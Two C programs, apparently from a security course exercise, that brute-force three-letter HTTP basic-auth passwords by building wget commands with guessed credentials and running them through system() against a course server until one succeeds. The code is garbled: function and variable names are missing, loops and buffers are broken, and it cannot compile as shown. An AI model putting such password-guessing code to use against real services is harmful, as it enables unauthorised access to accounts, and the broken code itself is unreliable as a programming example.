#include <sys/times.h>
#include <strings.h>
#include <string.h>
#include <ctype.h>

#include <stdio.h>
#include <stdlib.h>
#include <sys/times.h>
#include <strings.h>
#include <string.h>
#include <ctype.h>
#include <sys/time.h>
#define ant 1e9

int ()
{
char c[2],[3][2];
register int i,j,k,x,y,z,t,r,s,final,count=0;
int starttime,endtime,totaltime; 
char ch[5],ch1[5],ch2[5],s1[100],s2[100];
c[0]='A',c[1]='a';
[0][1]=[1][1]=[2][1]='\0';

strcpy(s1, "wget --http-user= --http-passwd=");
    strcpy(s2, " http://sec-crack.cs.rmit.edu./SEC/2/");

starttime=time();

for(r=0;r<=1;r++)
{
	
	for(i=c[r],x=0;x<=25;x++,i++)
	{
		
		 [0][0]=i;
		 strcpy(ch,[0]);


		for(s=0;s<=1;s++)
		{
			for(j=c[s],z=0;z<=25;z++,j++)
			{	
		
				[1][0]=j;
				strcpy(ch1,[0]);
				strcat(ch1,[1]);

				for(t=0;t<=1;t++)
				{
					for(k=c[t],y=0;y<=25;y++,k++)
					{	count++;
						[2][0]=k;
						strcpy(ch2,ch1);
						strcat(ch2,[2]);
						printf("\n  %s",ch2);



         strcat(s1, ch2);
          strcat(s1, s2);
	  printf("\n combination sent %s\n", s1);
          final = system(s1);
          if (final == 0)
          {
            endtime=time();
		totaltime=(endtime-starttime);
		 printf("count %d",count);
	    printf("totaltime %1f",(double)totaltime/ant);
	    printf("\nsuccess %s\n",ch2);
            exit(1);
          }


	  strcpy(s1, "");
	  strcpy(s1, "wget --http-user= --http-passwd=");


				}

				}
			}

		}
	   }
}

}




#include<stdio.h>
#include<stdlib.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/time.h>

int ()
{
 char lc[53]="abcdefghijlmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
 char uc[53]="abcdefghijlmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
 char gc[53]="abcdefghijlmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
 int a=0,b=0,c=0,d,e,count=0;
 char [100],temp1[100],temp2[100],temp3[100],temp4[10],temp5[50],p[100],q[50],r[50];
 char result,result1,result2,mx[100],mx1,mx2,mx3,mx4;
 
 int  ,end,t;
  = time(); 
while(sizeof(lc)!=52)
{
     temp2[0]=lc[d];
     temp2[1]='\0';
     d=d+1;
     strcpy(p,temp2);
   
   while(sizeof(uc)!=52)
   {
      temp3[0]=uc[b];
      temp3[1]='\0';
      b=b+1;
      strcpy(q,p);
      strcat(q,temp3);
    for(e=0;e<52;e++)
    {
        temp1[0]=gc[e];
	temp1[1]='\0';
	strcpy(r,q);
	strcat(r,temp1);
       strcpy(mx,"wget http://sec-crack.cs.rmit.edu./SEC/2 --http-user= --http-passwd=");
       strcat(mx,r);
       printf("temp3=%s\n",mx);
       if(system(mx)==0)
       { 
         printf("Password=%s\n",mx);
	 printf("%d \n",count);
	 end = time();
         t = (end -);
         t /= 1000000000.0;
         printf("The total time_var taken is:%llds\n",t);
	 exit(1);
       
       }
      }
     }
 }
 return 0;
}
